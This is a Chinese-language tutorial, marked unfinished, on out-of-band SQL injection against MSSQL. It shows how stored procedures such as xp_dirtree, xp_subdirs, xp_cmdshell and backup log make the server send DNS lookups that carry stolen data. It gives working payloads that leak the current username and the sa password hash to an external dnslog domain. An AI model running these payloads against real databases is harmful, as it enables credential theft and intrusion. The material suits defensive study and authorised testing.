SQLServer注入之外带查询(未完待续)
盲注情况下,利用DNS外带查询方式快速获取数据。
0x01 相关基础
MSSQL下,可以利用自带的存储过程或创建自定义的存储过程,向外发送网络请求。并利用dnslog接收外传的数据。
通常用到的存储过程
如下:
- xp_subdirs
- xp_dirtree
- xp_fileexist
- xp_cmdshell
- backup log
xp_subdirs、xp_dirtree和xp_fileexist
前三个存储过程的效果和使用方式几乎一致,在sql编辑器中输入语句,发起请求。
结果如下,可看到全部接收成功
另:MSSQL 2017为Linux系统下版本,用这些存储过程进行外带查询的方法不适用于Linux。因为Windows下 //会发起网络请求,而Linux无这个特性。至于2017下如何利用,择日有空再进行研究。
xp_cmdshell
xp_cmdshell要求必须为DBA权限
才可使用。方式即 Windows命令行下 利用ping等命令获取数据.
exec xp_cmdshell 'ping %USERNAME%.t00ls.f9b638e31ce26b3934df185161cd8435.tu4.org';
backup log
backup log语句通常在备份时使用,也可以利用其来发送网络请求。语句如下
exec('backup log fcc to disk=''\\log.f9b638e31ce26b3934df185161cd8435.tu4.org\a'';');
0x02 利用场景
最早之前在一些渗透项目中遇到过几次,sqlmap跑出注入但不是显错类型。逐个字符的读表真是考验耐心还浪费时间。
相比布尔或时间盲注,外带方式还是太节约时间。
利用条件如下:
- SQL注入点为stacked queries类型
- 数据库服务器可通外网
- 数据库用户权限基本没要求
xp_cmdshell和xp_subdirs貌似要求是dba权限。
0x03 利用姿势
具体的还是要结合想要获取的信息来。查询回传方式有固定的套路,语法如下
如外带获取sa的hash密码
#注意这里不用分号分隔,否则报错
DECLARE @host varchar(1024)
SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_logins WHERE name='sa')
+'.f9b638e31ce26b3934df185161cd8435.tu4.org'
EXEC('master..xp_subdirs"//'+@host+'\foobar$"')
我这里在Navicat中测试,注入时同理。
结果信息来看,提示"找不到网络名"但此时请求已发出,再查看dnslog 已经接收到数据。
其他信息的获取 只需替换一部分select语句即可,即host的值。
0x04 知识延伸
此时,虽然已经可以解决一个个字符获取的低效问题。但实际利用中,可能还差些火候。比如某些信息的字符或导致网络请求失败,数据长度超限制导致获取的结果不完整,想获取表名、字段名时 逐个输入导致时间还是很浪费等...
。。。
0x05 参考文章
1.《Dnslog在sql注入中的实战》